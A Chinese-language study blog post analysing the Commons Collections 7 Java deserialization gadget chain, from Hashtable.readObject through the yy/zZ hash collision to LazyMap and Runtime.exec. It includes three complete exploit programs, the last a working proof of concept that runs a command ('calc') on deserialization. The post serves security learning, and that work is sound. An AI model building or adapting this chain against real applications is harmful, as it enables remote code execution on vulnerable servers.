Java_Commons-Collections 7 学习过程
CC7可以说就是换一条路走到LazyMap
先看图和链子
1 2 3 4 5 6 7 8 9 10 11 12
| java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
|
![image]()
分析链子
后半部分
后面触发的链子就跟CC1一样
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
|
然后就是CC7是如何到LazyMap.get()的
前半部分
在CC7中最后是通过AbstractMap.equals()来触发对LazyMap.get()方法的调用
![image]()
也就是如果这里的m是我们可控的,那么我们设置m为LazyMap就可以了
然后我们在看看CC7是怎么走道equals这里的
CC7中的入口点是Hashtable
![image]()
跟进 reconstitutionPut() 方法,可以看到 reconstitutionPut() 方法调用了 equals() 方法,当然它也调用了 hashCode() 方法,如果这里走 hashCode() ,又回到 CC6 的链子了
![image]()
LazyMap中并没有equals方法那么接下来是怎么调用的呢
实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,AbstractMapDecorator是一个抽象类,它实现了equals方法。
![image]()
![image]()
AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法。
![image]()
但是HashMap里也没equals方法啊,大no特no发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法
![image]()
![image]()
![image]()
是不是就接上了
不考虑条件的情况下编写一下理想Exp,想想发现只要传key的时候传decorateMap好像是不是就可以了
try一try
By the way:Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,因此HashTable.readObject()方法里面的key和value实际上就是使用HashTable.put()方法放进去的键值对
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package CC7;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Hashtable hashtable = new Hashtable<>(); hashtable.put(decorateMap, "nbc"); serialize(hashtable); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
按照剧情发展肯定是没反应的所以下面
tnnd为什么不弹
把断点打在了 AbstractMap.equals() 的地方看看,发现根本就没执行到这
直接打到前面reconstitutionPut
发现跟本没进入那个for循环
我们看看yso里面是怎么写的
![image]()
- yso 这里的链子比我们多了一个 map
- 两次
put()其中map中key的值分别为yy和zZ
- remove了yy
1.Hashtable 的 reconstitutionPut() 方法是被遍历调用的,第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值。
![image]()
在第二次调用reconstitutionPut()时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals()方法。这也是为什么要调用两次put的原因。
2.第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug
1
| "yy".hashCode() == "zZ".hashCode()
|
![image]()
yy 和 zZ 由 hashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yy 和 zZ,才能走到我们想要的 e.key.equal() 方法中。
3.HashTable.put() 会调用到 equals()当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:
![image]()
这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对
所以就改成这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package CC7;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1); decorateMap2.remove("yy"); serialize(hashtable); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
但是这样序列化和反序列化都会执行一遍,所以就还是先常量再反射改
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package CC7;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); decorateMap2.remove("yy"); serialize(hashtable); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
后记
可以看看这个equals是干什么的以及其他方法这样会更好理解一些
CC链完结撒花,有好多东西要学还有期末考试和四级
参考文章
drun1baby
CommonsCollections7利用链分析
12-java安全——java反序列化CC7链分析